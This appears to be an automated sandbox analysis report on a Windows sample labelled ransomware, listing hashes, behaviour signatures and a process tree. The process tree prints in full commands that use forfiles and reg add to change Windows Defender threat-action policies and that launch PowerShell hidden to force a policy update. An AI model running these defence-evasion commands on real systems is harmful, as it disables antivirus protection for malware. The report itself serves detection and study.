Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
10/06/2024, 13:22
Static task
static1
Behavioral task
behavioral1
Sample
2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
Resource
win10v2004-20240508-en
General
-
Target
2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
-
Size
6.7MB
-
MD5
f9a08c6959d27b9edcb157f1938ff8c9
-
SHA1
f57fc4c0780afc65f84b3f1fddd55bdd7519c3e2
-
SHA256
d052b74c87dd082fa1ccc32b8441e63e433a60c69b21174ccf43f7f134a725e0
-
SHA512
eabdfc83451aa2523b924f670a5026438dc69ae9c0687b8bf12c9e318e0bbab34862ebc7e39221f140af67cd9622e5e4f9c7881feb7376bb9c4fd31e3b62fe33
-
SSDEEP
196608:JMkbose8INju/m+EPBRXKQhjFzRDevEu:JgsWUaBRV3RH
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2660 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 2504 2200 WerFault.exe 27 -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2660 powershell.exe 2660 powershell.exe 2660 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2660 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2200 wrote to memory of 1964 2200 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe 28 PID 2200 wrote to memory of 1964 2200 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe 28 PID 2200 wrote to memory of 1964 2200 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe 28 PID 2200 wrote to memory of 1964 2200 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe 28 PID 1964 wrote to memory of 3016 1964 cmd.exe 30 PID 1964 wrote to memory of 3016 1964 cmd.exe 30 PID 1964 wrote to memory of 3016 1964 cmd.exe 30 PID 1964 wrote to memory of 3016 1964 cmd.exe 30 PID 3016 wrote to memory of 2416 3016 forfiles.exe 31 PID 3016 wrote to memory of 2416 3016 forfiles.exe 31 PID 3016 wrote to memory of 2416 3016 forfiles.exe 31 PID 3016 wrote to memory of 2416 3016 forfiles.exe 31 PID 2416 wrote to memory of 1820 2416 cmd.exe 32 PID 2416 wrote to memory of 1820 2416 cmd.exe 32 PID 2416 wrote to memory of 1820 2416 cmd.exe 32 PID 2416 wrote to memory of 1820 2416 cmd.exe 32 PID 1964 wrote to memory of 2536 1964 cmd.exe 33 PID 1964 wrote to memory of 2536 1964 cmd.exe 33 PID 1964 wrote to memory of 2536 1964 cmd.exe 33 PID 1964 wrote to memory of 2536 1964 cmd.exe 33 PID 2536 wrote to memory of 1420 2536 forfiles.exe 34 PID 2536 wrote to memory of 1420 2536 forfiles.exe 34 PID 2536 wrote to memory of 1420 2536 forfiles.exe 34 PID 2536 wrote to memory of 1420 2536 forfiles.exe 34 PID 1420 wrote to memory of 2012 1420 cmd.exe 35 PID 1420 wrote to memory of 2012 1420 cmd.exe 35 PID 1420 wrote to memory of 2012 1420 cmd.exe 35 PID 1420 wrote to memory of 2012 1420 cmd.exe 35 PID 1964 wrote to memory of 2852 1964 cmd.exe 36 PID 1964 wrote to memory of 2852 1964 cmd.exe 36 PID 1964 wrote to memory of 2852 1964 cmd.exe 36 PID 1964 wrote to memory of 2852 1964 cmd.exe 36 PID 2852 wrote to memory of 2776 2852 forfiles.exe 37 PID 2852 wrote to memory of 2776 2852 forfiles.exe 37 PID 2852 wrote to memory of 2776 2852 forfiles.exe 37 PID 2852 wrote to memory of 2776 2852 forfiles.exe 37 PID 2776 wrote to memory of 2544 2776 cmd.exe 38 PID 2776 wrote to memory of 2544 2776 cmd.exe 38 PID 2776 wrote to memory of 2544 2776 cmd.exe 38 PID 2776 wrote to memory of 2544 2776 cmd.exe 38 PID 1964 wrote to memory of 2808 1964 cmd.exe 39 PID 1964 wrote to memory of 2808 1964 cmd.exe 39 PID 1964 wrote to memory of 2808 1964 cmd.exe 39 PID 1964 wrote to memory of 2808 1964 cmd.exe 39 PID 2808 wrote to memory of 2560 2808 forfiles.exe 40 PID 2808 wrote to memory of 2560 2808 forfiles.exe 40 PID 2808 wrote to memory of 2560 2808 forfiles.exe 40 PID 2808 wrote to memory of 2560 2808 forfiles.exe 40 PID 2560 wrote to memory of 2868 2560 cmd.exe 41 PID 2560 wrote to memory of 2868 2560 cmd.exe 41 PID 2560 wrote to memory of 2868 2560 cmd.exe 41 PID 2560 wrote to memory of 2868 2560 cmd.exe 41 PID 1964 wrote to memory of 2580 1964 cmd.exe 42 PID 1964 wrote to memory of 2580 1964 cmd.exe 42 PID 1964 wrote to memory of 2580 1964 cmd.exe 42 PID 1964 wrote to memory of 2580 1964 cmd.exe 42 PID 2580 wrote to memory of 2644 2580 forfiles.exe 43 PID 2580 wrote to memory of 2644 2580 forfiles.exe 43 PID 2580 wrote to memory of 2644 2580 forfiles.exe 43 PID 2580 wrote to memory of 2644 2580 forfiles.exe 43 PID 2644 wrote to memory of 2660 2644 cmd.exe 44 PID 2644 wrote to memory of 2660 2644 cmd.exe 44 PID 2644 wrote to memory of 2660 2644 cmd.exe 44 PID 2644 wrote to memory of 2660 2644 cmd.exe 44
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
- Suspicious use of WriteProcessMemory
PID:2416 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵PID:1820
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵PID:2012
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵PID:2544
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵PID:2868
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2660 -
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵PID:2456
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 6082⤵
- Program crash
PID:2504
-